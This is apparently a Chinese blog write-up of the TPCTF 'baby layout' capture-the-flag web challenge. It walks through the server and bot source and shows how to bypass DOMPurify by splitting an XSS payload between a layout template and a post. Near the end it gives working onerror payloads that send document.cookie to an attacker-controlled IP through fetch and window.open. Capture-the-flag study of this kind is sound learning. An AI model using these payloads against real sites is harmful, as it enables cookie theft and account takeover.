TPCTF_baby layout回看代码分析
本文最后更新于 38 天前,其中的信息可能已经有所发展或是发生改变。

baby layout

下载源码:

/index.js
import express from 'express';
import session from 'express-session';
import rateLimit from 'express-rate-limit';
import { randomBytes } from 'crypto';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const { window } = new JSDOM();
const DOMPurify = createDOMPurify(window);

const posts = new Map();

const DEFAULT_LAYOUT = `
<article>
<h1>Blog Post</h1>
<div>{{content}}</div>
</article>
`;

const LENGTH_LIMIT = 500;

const app = express();
app.use(express.json());
app.set('view engine', 'ejs');

if (process.env.NODE_ENV === 'production') {
app.use(
  '/api',
  rateLimit({
    windowMs: 60 * 1000,
    max: 10,
  }),
);
}

app.use(session({
secret: randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: false,
}));

app.use((req, _, next) => {
if (!req.session.layouts) {
  req.session.layouts = [DEFAULT_LAYOUT];
  req.session.posts = [];
}
next();
});

app.get('/', (req, res) => {
res.setHeader('Cache-Control', 'no-store');
res.render('home', {
  posts: req.session.posts,
  maxLayout: req.session.layouts.length - 1,
});
});

app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body;
if (typeof content !== 'string' || typeof layoutId !== 'number') {
  return res.status(400).send('Invalid params');
}

if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');

const layout = req.session.layouts[layoutId];
if (layout === undefined) return res.status(400).send('Layout not found');

const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);

if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');

const id = randomBytes(16).toString('hex');
posts.set(id, body);
req.session.posts.push(id);

console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);

return res.json({ id });
});

app.post('/api/layout', (req, res) => {
const { layout } = req.body;
if (typeof layout !== 'string') return res.status(400).send('Invalid param');
if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');

const sanitizedLayout = DOMPurify.sanitize(layout);

const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);
return res.json({ id });
});

app.get('/post/:id', (req, res) => {
const { id } = req.params;
const body = posts.get(id);
if (body === undefined) return res.status(404).send('Post not found');
return res.render('post', { id, body });
});

app.post('/api/clear', (req, res) => {
req.session.layouts = [DEFAULT_LAYOUT];
req.session.posts = [];
return res.send('cleared');
});

app.listen(3000, () => {
console.log('Web server running on port 3000');
});

一段一段慢慢分析

引入模块
import express from 'express';
import session from 'express-session';
import rateLimit from 'express-rate-limit';
import { randomBytes } from 'crypto';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

express框架用于构建web应用的,然后express-session用于管理会话,express-rate-limit用于限制请求的频率的(API),crypto模块的randomBytes用于生成随机字节,dompurify用于精华HTNL防止XSS攻击,jsdom用于在Node.js环境中模拟DOM

用于初始化和配置
const { window } = new JSDOM();
const DOMPurify = createDOMPurify(window);

const posts = new Map();

const DEFAULT_LAYOUT = `
<article>
<h1>Blog Post</h1>
<div>{{content}}</div>
</article>
`;

const LENGTH_LIMIT = 500;

const app = express();
app.use(express.json());
app.set('view engine', 'ejs');

利用JSDOM创建虚拟window对象,用于初始化DOMPurify

创建MAp对象posts用于存储博客文章

定义自动化布局DEFAULT_LAYOUT和长度限制LENGTH_LIMIT

最后初始化express应用,启用了json解析的中间件,并且视图引擎为EJS

这一段用于速率限制和会话的设置
if (process.env.NODE_ENV === 'production') {
app.use(
  '/api',
  rateLimit({
    windowMs: 60 * 1000,
    max: 10,
  }),
);
}

app.use(session({
secret: randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: false,
}));

env生产环境下,对/api路径的请求进行速率限制,每分钟最多允许 10 次请求

配置了会话中间件,使用随机生成的密钥,并且不自动重新保存未修改的会话和不保存未初始化的会话

app.use((req, _, next) => {
if (!req.session.layouts) {
  req.session.layouts = [DEFAULT_LAYOUT];
  req.session.posts = [];
}
next();
});

做了一个判断,就是如果用户对话中没有layoutspost属性,就会初始化他们,其中latouts初始化为包含默认布局的数组,post初始化为空数组

app.get('/', (req, res) => {
res.setHeader('Cache-Control', 'no-store');
res.render('home', {
  posts: req.session.posts,
  maxLayout: req.session.layouts.length - 1,
});
});

GET /:渲染页面,设置了响应头Cache-Controlno-store,防止浏览器缓存页面。传递用户会话中的文章列表和最大布局 ID 给 EJS 模板

然后是创建上传文章的路由

app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body;
if (typeof content !== 'string' || typeof layoutId !== 'number') {
  return res.status(400).send('Invalid params');
}

if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');

const layout = req.session.layouts[layoutId];
if (layout === undefined) return res.status(400).send('Layout not found');

const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);

if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');

const id = randomBytes(16).toString('hex');
posts.set(id, body);
req.session.posts.push(id);

console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);

return res.json({ id });
});

验证contentlayoutId是否合法,还检查了长度限制,使用DOMPurifycontent进行净化,防止 XSS 攻击,将净化后的content替换布局模板中的{{content}}占位符,关键也就是利用这一点,使得我们能够绕过

最后检查生成的文章是否超过限制,生成唯一ID存储到posts当中,并添加到列表当中

然后日志会记录并返回文章的ID

创建布局的路由
app.post('/api/layout', (req, res) => {
const { layout } = req.body;
if (typeof layout !== 'string') return res.status(400).send('Invalid param');
if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');

const sanitizedLayout = DOMPurify.sanitize(layout);

const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);
return res.json({ id });
});

用于创建路由,其中验证layouts是否为字符串,检查长度同时防止xss攻击

然后将清理后的 layout 数据存储到会话(session)中

剩下的就是关于404返回以及清除数据的功能了

app.listen(3000, () => {
console.log('Web server running on port 3000');
});

启动Express服务器,监听3000端口,并在服务器启动后输出日志信息

然后去分析bot里的文件

/index.js
import express from 'express';
import rateLimit from 'express-rate-limit';
import pLimit from 'p-limit';
import { cpus } from 'os';

import visit from './visit.js';

const app = express();
app.use(express.json());
app.use(express.static('public'));

app.use(
'/api',
rateLimit({
  windowMs: 60 * 1000,
  max: 2,
}),
);

const CONCURRENCY = cpus().length * 2 - 1;
const MAX_PENDING = CONCURRENCY * 2;
const limit = pLimit(CONCURRENCY);

app.post('/api/report', async (req, res) => {
const { postId } = req.body;
if (typeof postId !== 'string' || !/^[a-f0-9]{32}$/.test(postId)) {
  return res.status(400).send('Invalid post ID');
}

if (limit.pendingCount >= MAX_PENDING) {
  console.log(`Server is busy: ${limit.pendingCount}`);
  return res.status(503).send('Server is busy');
}

try {
  await limit(visit, postId);
  return res.sendStatus(200);
} catch (e) {
  console.error(e);
  return res.status(500).send('Something went wrong');
}
});

app.listen(1337, () => {
console.log('Bot server running on port 1337');
});
/visit.js
import puppeteer from 'puppeteer';

const FLAG = process.env.FLAG ?? 'fake{dummy}';

const APP_HOST = 'web';
const APP_PORT = '3000';
const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

const sleep = (ms) => new Promise((resolve) => {
setTimeout(resolve, ms);
});

export default async function visit(postId) {
const url = new URL(`/post/${postId}`, APP_URL).href;
console.log(`start: ${url}`);

const browser = await puppeteer.launch({
  headless: 'new',
  executablePath: '/usr/bin/chromium',
  args: [
    '--no-sandbox',
    '--disable-dev-shm-usage',
    '--disable-gpu',
    '--js-flags="--noexpose_wasm"',
  ],
});
const context = await browser.createBrowserContext();
await context.setCookie({
  name: 'FLAG',
  value: FLAG,
  domain: APP_HOST,
  httpOnly: false,
  sameSite: 'Strict',
});

try {
  const page = await context.newPage();
  await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' });
  await sleep(5000);
  await page.close();
} catch (err) {
  console.error(err);
}

await context.close();
await browser.close();
console.log(`end: ${url}`);
}

还是一段段分析一下吧,不过我们可以看到flag在cookie里面

导入模块部分
import express from 'express';
import rateLimit from 'express-rate-limit';
import pLimit from 'p-limit';
import { cpus } from 'os';

import visit from './visit.js';
express框架
express-rate-limit:用于限制客户端对 API 的请求频率,防止恶意攻击,如暴力破解或 DoS 攻击。
p-limit:一个用于控制并发执行异步任务数量的库,确保在同一时间内只有指定数量的任务在执行。
os:Node.js 的内置模块,cpus() 方法用于获取当前系统的 CPU 核心信息。
visit:从 ./visit.js 文件中导入的一个函数,具体功能由该文件定义,推测可能与访问特定的文章或资源有关
const app = express();
app.use(express.json());
app.use(express.static('public'));

app.use(
'/api',
rateLimit({
  windowMs: 60 * 1000,
  max: 2,
}),
);
用于初始化和中间件的配置
对速率进行了限制,对 /api 路径下的请求进行速率限制,在 60 秒(windowMs)内,每个客户端最多只能发送 2 个请求(max)
const CONCURRENCY = cpus().length * 2 - 1;
const MAX_PENDING = CONCURRENCY * 2;
const limit = pLimit(CONCURRENCY);

//CONCURRENCY:并发任务的最大数量,根据系统的 CPU 核心数计算得出,通常为 CPU 核心数的两倍减一。这样设置可以充分利用系统资源,同时避免过多的并发任务导致系统过载。
MAX_PENDING:最大待处理任务数量,为并发任务数量的两倍。当待处理任务数量超过这个值时,服务器将拒绝新的请求。
limit:使用 p-limit 库创建一个并发控制实例,限制同时执行的异步任务数量为 CONCURRENCY
app.post('/api/report', async (req, res) => {
const { postId } = req.body;
if (typeof postId !== 'string' || !/^[a-f0-9]{32}$/.test(postId)) {
  return res.status(400).send('Invalid post ID');
}

if (limit.pendingCount >= MAX_PENDING) {
  console.log(`Server is busy: ${limit.pendingCount}`);
  return res.status(503).send('Server is busy');
}

try {
  await limit(visit, postId);
  return res.sendStatus(200);
} catch (e) {
  console.error(e);
  return res.status(500).send('Something went wrong');
}
});
这一段主要是路由的处理
/api/report处理客户端发送的报告请求,参数验证,使用limit函数和postID参数传入,确保visit函数在并发的控制范围内执行

是使用了DOMPurify进行了防护

主要就是利用这两代码

app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body;
if (typeof content !== 'string' || typeof layoutId !== 'number') {
  return res.status(400).send('Invalid params');
}

if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');

const layout = req.session.layouts[layoutId];
if (layout === undefined) return res.status(400).send('Layout not found');

const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);

if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');

const id = randomBytes(16).toString('hex');
posts.set(id, body);
req.session.posts.push(id);

console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);

return res.json({ id });
});



app.post('/api/layout', (req, res) => {
const { layout } = req.body;
if (typeof layout !== 'string') return res.status(400).send('Invalid param');
if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');

const sanitizedLayout = DOMPurify.sanitize(layout);

const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);
return res.json({ id });
});

分析出来怎么利用的了,仔细看在/api/layout下的代码

const sanitizedLayout = DOMPurify.sanitize(layout);

const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);

就是说在layouts中传的东西净化后会存到那sanitizedContent

在这个路由下,是先使用DOMPurify进行了净化的,净化之后才拼接的下

layout 是一个包含模板标记的字符串,模板标记为 {{content}}。
replace 是 JavaScript 字符串的方法,用于替换字符串中的指定内容。
/\{\{content\}\}/g 是一个正则表达式,其中 \{\{ 和 \}\} 是对 {{ 和 }} 的转义,因为 { 和 } 在正则表达式中有特殊含义;g 是全局匹配标志,表示会替换字符串中所有匹配的内容。
() => sanitizedContent 是一个回调函数,每次匹配到 {{content}} 时,会调用这个函数并将其返回值作为替换内容。因此,所有的 {{content}} 都会被替换为净化后的内容 sanitizedContent

所以我们就可以进行拼接,用俩无恶意的payload是他最后拼接构造成我们想要的恶意payload,他匹配到{{content}}就会自动替换拼接

测试一下:
layouts:
<img src=s{{content}}
post:
" onerror="alert(1)
测试成功
" onerror=fetch(`http://[ip]:9999/`+document.cookie)
" onerror="window.open('http://[ip]:9999/?p='+document.cookie)

连上了,如果没有,那就去report一下,然后开启python服务看

在此重新看这道题目,发现对于XSS的花样还是很多的,对于XSS的学习还得继续深入~~~

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇